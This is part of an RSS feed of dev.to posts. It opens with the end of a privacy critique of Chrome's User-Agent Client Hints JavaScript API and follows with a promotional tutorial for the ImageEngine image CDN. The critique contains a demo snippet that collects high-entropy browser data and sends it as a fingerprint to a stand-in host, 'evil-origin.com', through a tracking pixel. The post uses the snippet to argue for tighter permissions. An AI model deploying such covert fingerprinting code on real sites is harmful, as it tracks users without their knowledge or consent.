&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;DEMO: Here is a simple demo that access the high entropy data through the JavaScript API and mimics a request to a third party tracking pixel: &lt;a href="https://dapper-handsome-ziconium.glitch.me/"&gt;https://dapper-handsome-ziconium.glitch.me/&lt;/a&gt;. 👈🏻 Remember to test it on Chrome version 84 or higher.&lt;/p&gt;

&lt;p&gt;Basically, it's very easy to do things like link decoration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  navigator.userAgentData.getHighEntropyValues(["architecture","model","platform","platformVersion","uaFullVersion"]).then(function() {
        var image = document.createElement('img');
        image.src = 'https://evil-origin.com/tracker.gif?fingerprint=' + JSON.stringify(arguments[0])+JSON.stringify(navigator.userAgentData.brands)+JSON.stringify(navigator.userAgentData.mobile);
        document.getElementById("myid").appendChild(image);
      });
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;I'd expect parity between the JavaScript API and the HTTP headers when it comes to availability, security and permissions&lt;/strong&gt;. Right now it's not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I'd expect Permission Policy to govern access and delegation to the UA-CH through JavaScript&lt;/strong&gt;. After all, these new data points, combined with oter information freely available on the client side, provide a pretty good fingerprint. Much more accurate than what is possible on the server side, even &lt;em&gt;with&lt;/em&gt; the UA-CH. The Client Hints infrastructure clearly says that &lt;a href="https://wicg.github.io/client-hints-infrastructure/#policy-controlled-features"&gt;UA-CH are policy controlled&lt;/a&gt;. That is not the case currently&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I'd expect 3rd parties, i.e. iframes, or 3rd party scripts not to have access to the UA-CH JavaScript API unless explicitly allowed&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I'd be pleasantly surprised if the opt-in (&lt;code&gt;accept-ch&lt;/code&gt;) also was required to receive high entropy data through UA-CH JavaScript API&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I'd rather &lt;em&gt;not&lt;/em&gt; see yet another popup asking the user for permission to access high entropy data&lt;/strong&gt;. With &lt;a href="https://user-images.githubusercontent.com/1271364/47662588-8e4d0600-db71-11e8-974c-c2eabf5bff4e.png"&gt;geolocation&lt;/a&gt;, &lt;a href="https://www.trishtech.com/wp/wp-content/uploads/2014/10/disable-cookie-popup-0.jpg"&gt;cookies&lt;/a&gt; and camera etc., we already have &lt;strong&gt;notification fatigue&lt;/strong&gt;. T&amp;amp;C anyone?&lt;/p&gt;

&lt;p&gt;Not to address these issues seems like a lost opportunity to make it right from the beginning. Avoiding to stumble into a JavaScript-UA-CH-sniffing-ditch like we've seen with the User-Agent. &lt;/p&gt;

&lt;p&gt;On the server side, sniffing and detection is less of an issue because the software and algorithms making sense of the User-Agent is pretty much settled and commercially available to all serious players. Giving every single frontend developer access to UA-CH client side, seems like a huge security-, and functionality risk to me.&lt;/p&gt;

&lt;p&gt;If Chrome v85 reaches stable in its current form, I'm in the market for a new browser.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>webperf</category>
      <category>privacy</category>
      <category>clienthints</category>
    </item>
    <item>
      <title>Optimize images with ImageEngine</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Mon, 13 Jan 2020 12:33:29 +0000</pubDate>
      <link>https://dev.to/jonarnes/optimize-images-with-imageengine-4jnc</link>
      <guid>https://dev.to/jonarnes/optimize-images-with-imageengine-4jnc</guid>
      <description>&lt;p&gt;&lt;a href="https://imageengine.io/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=devto" rel="noopener noreferrer"&gt;ImageEngine is an image CDN&lt;/a&gt; with built in, real time image optimization. What makes ImageEngine stand out from the crowd is the way ImageEngine analyse the request to dynamically provide a visually high quality image at the lowest possible byte size. Usually you don't need to worry about URL parameters with quirky syntax or JavaScript libraries, just refer to the image by its URL on the image CDN and ImageEngine will real time figure out the best ways to optimize the image.&lt;/p&gt;

&lt;h2&gt;
  
  
  Image Optimization with Emphasis on Mobile
&lt;/h2&gt;

&lt;p&gt;TLDR; Instead of trying to cover all scenarios and possible combinations of sizes, formats and compression rates build time, let the image CDN handle it for you, run time.&lt;/p&gt;

&lt;p&gt;The automatic optimization of images may result in up to 10-15 different versions, or derivatives, of the original image. How is this possible? ...and how is that possible to manage for the CDN? &lt;/p&gt;

&lt;p&gt;It is not uncommon that the share of mobile traffic to a website is around 50% or even more. Because the plethora of mobile devices is so diverse when it comes to capabilities such as screen size, resolution, supported image formats and so on. Moreover, network conditions may require higher compression levels. ImageEngine use a combination of techniques to manage this diversity. Parameters in the URL are of course supported for explicit requests. For dynamic optimization, client hints are used - if supported - in combination with HTTP header analysis and &lt;a href="https://en.wikipedia.org/wiki/WURFL" rel="noopener noreferrer"&gt;powerful device detection&lt;/a&gt; is applied at the edges of the CDN to make sure proper cache keys for the derivative images are computed.&lt;/p&gt;

&lt;h3&gt;
  
  
  A little demo
&lt;/h3&gt;


&lt;div class="glitch-embed-wrap"&gt;
  &lt;iframe src="https://glitch.com/embed/#!/embed/imageengine-demo?previewSize=0&amp;amp;path=index.html" alt="imageengine-demo on glitch"&gt;&lt;/iframe&gt;
&lt;/div&gt;


&lt;p&gt;Even if &lt;a href="https://glitch.com/~imageengine-demo" rel="noopener noreferrer"&gt;this simple glitch demo&lt;/a&gt; is simple, it illustrate the importance of image optimization to improve web performance. The demo has two html pages where the only difference is that one of them has images optimized by ImageEngine. Here is &lt;a href="https://cdn.glitch.com/168703ff-6f54-4872-bfbe-0732fbe39d1d%2F0e228f8d-5fac-4fdd-b093-946231bdd89e.mp4?v=1578918739061" rel="noopener noreferrer"&gt;the visual result&lt;/a&gt; (page optimized by ImageEngine to the left):&lt;/p&gt;

&lt;p&gt;&lt;br&gt;
    &lt;br&gt;
  &lt;/p&gt;

&lt;p&gt;Even in this demo page is small and lightweight, the Lighthouse report is clear on the missed opportunities to gain better performance:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F45hzdi0r41ewde3thrxy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F45hzdi0r41ewde3thrxy.png" alt="unoptimized site report"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's examine the steps required to optimize image delivery on this page.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Set up ImageEngine Account
&lt;/h2&gt;

&lt;p&gt;First you need to sign up for a &lt;a href="https://imageengine.io/signup" rel="noopener noreferrer"&gt;free ImageEngine trial&lt;/a&gt; account. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Provide the fully qualified domain name of the site you want to optimize. From this website image origins will be extracted (see step 3).&lt;/li&gt;
&lt;li&gt;Create an ImageEngine account by providing your email and a password, or using Google or Github.&lt;/li&gt;
&lt;li&gt;Select an origin where ImageEngine will fetch original images from. Select from the list or provide a different origin.&lt;/li&gt;
&lt;li&gt;The ImageEngne account is created and ready to use. &lt;a href="https://docs.imageengine.io/" rel="noopener noreferrer"&gt;More documentation&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fpk1fa339ktmbbqiypwgi.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fpk1fa339ktmbbqiypwgi.gif" alt="Signup for ImageEngine"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Your able to access images using the ImageEngine hostname. The ImageEngine hostname is the one ending with &lt;code&gt;*.imgeng.in&lt;/code&gt;. For example. &lt;code&gt;xxxyyy.cdn.imgeng.in&lt;/code&gt; or &lt;code&gt;images.mydomain.com.imgeng.in&lt;/code&gt; depening on the tier.&lt;/p&gt;

&lt;p&gt;If you've signed up for a higher tier, the ImageEngine hostname is also what you'll use when you configure your DNS record for the domain name you provided. So, if you wanted &lt;code&gt;images.mydomain.com&lt;/code&gt; to serve the optimized images, you can create a CNAME record in your DNS for &lt;code&gt;images.mydomain.com&lt;/code&gt; pointing it to &lt;code&gt;images.mydomain.com.imgeng.in&lt;/code&gt;. When that change has propagated through the network, you'll be able to access the image from your origin by &lt;code&gt;images.mydomain.com/img.png&lt;/code&gt; and images are optimized by ImageEngine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Ftf5lo7bi1ey49fj68qb8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Ftf5lo7bi1ey49fj68qb8.png" alt="ImageEngine dns info"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;More advanced settings and statistics are available in the control panel.&lt;/p&gt;

&lt;p&gt;Many sites serve other assets such as CSS and Javascript from the same host as images are served. This will not cause any issues with ImageEngine. ImageEngine will also cache and serve non-image content.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Refer to images in the markup
&lt;/h2&gt;

&lt;p&gt;Whether you use responsive images markup or the good ol' image tag, the approach is the same; change the url to your images. If your image tag looks like this &lt;code&gt;&amp;lt;img src="//myorigin.com/img.png"&amp;gt;&lt;/code&gt; then change it to &lt;code&gt;&amp;lt;img src="//images.mydomain.com/img.png"&amp;gt;&lt;/code&gt; following the example with our hostnames above. Alternatively you can also use the ImageEngine hostname directly: &lt;code&gt;&amp;lt;img src="//xxxyyy.cdn.imgeng.in/img.png"&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Usually, the results are over all better when ImageEngine get to decide how to optimize the image. That means no URL parameters or directives are required, just the plain image url:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="//images.mydomain.com/img.png" alt="Image optimized with ImageEngine" width="100%" sizes="(min-width: 850px) 840px, calc(100vw - 10px)"&amp;gt;     

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the presence of the &lt;code&gt;sizes&lt;/code&gt; attribute. When &lt;code&gt;sizes&lt;/code&gt; is present, the browser is able to calculate the intended display size of the image before making the request to download it. This is the prerequisite for the browser to add &lt;a href="https://developers.google.com/web/updates/2015/09/automating-resource-selection-with-client-hints" rel="noopener noreferrer"&gt;client hints&lt;/a&gt; to the request. Client hints enable ImageEngine to be much more accurate when resizing and optimizing images.&lt;/p&gt;

&lt;p&gt;In your responsive images markup, with or without client hints enabled, it may make sense to use ImageEngine url parameters to request specific sizes of an image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="//myimg.mydomain.com.imgeng.in/168703ff-6f54-4872-bfbe-0732fbe39d1d%2Fcamera.jpg" sizes="(min-width: 850px) 840px, calc(100vw - 10px)"
                srcset="//myimg.mydomain.com.imgeng.in/168703ff-6f54-4872-bfbe-0732fbe39d1d%2Fcamera.jpg?imgeng=/w_375 375w, 
                //myimg.mydomain.com.imgeng.in/168703ff-6f54-4872-bfbe-0732fbe39d1d%2Fcamera.jpg?imgeng=/w_768 768w" 
alt="ImageEngine with srcset"&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that ImageEngine will still convert to the best image format whether it is webp, jpeg2000 or something else.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Run the Lighthouse test again
&lt;/h2&gt;

&lt;p&gt;Running Lighthouse on the page with images optimized by ImageEngine, shows that the issues with the images are gone, and that performance has improved significantly. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F29fuqehlnysfhd7xmdml.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F29fuqehlnysfhd7xmdml.png" alt="Lighthouse optimized report"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The impact of ImageEngine is also clearly visible in tools such as webpagetest.org. Especially when it comes to payload reduction, and time and resources spent downloading and decoding images.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why ImageEngine?
&lt;/h2&gt;

&lt;p&gt;ImageEngine will reduce the payload generated by images on your site, without compromising the visual quality. Less data, faster site, better user experience, increase conversion rate.&lt;/p&gt;

&lt;p&gt;Moreover, thanks to ImageEngine developers and designers will spend less time writing image markup, creating image derivatives, and optimizing images. &lt;/p&gt;

&lt;p&gt;From a developers perspective there are also other advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ImageEngine is not an asset management system, but an &lt;a href="https://imageengine.io" rel="noopener noreferrer"&gt;Image CDN&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;No dependencies on 3rd party JavaScript- or server side libraries&lt;/li&gt;
&lt;li&gt;No need to upload images anywhere&lt;/li&gt;
&lt;li&gt;Customize how images are optimized to fit your needs&lt;/li&gt;
&lt;li&gt;ImageEngine pays special attention to the mobile use case.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>imagecdn</category>
      <category>imageoptimization</category>
      <category>cdn</category>
      <category>webperf</category>
    </item>
  </channel>
</rss>
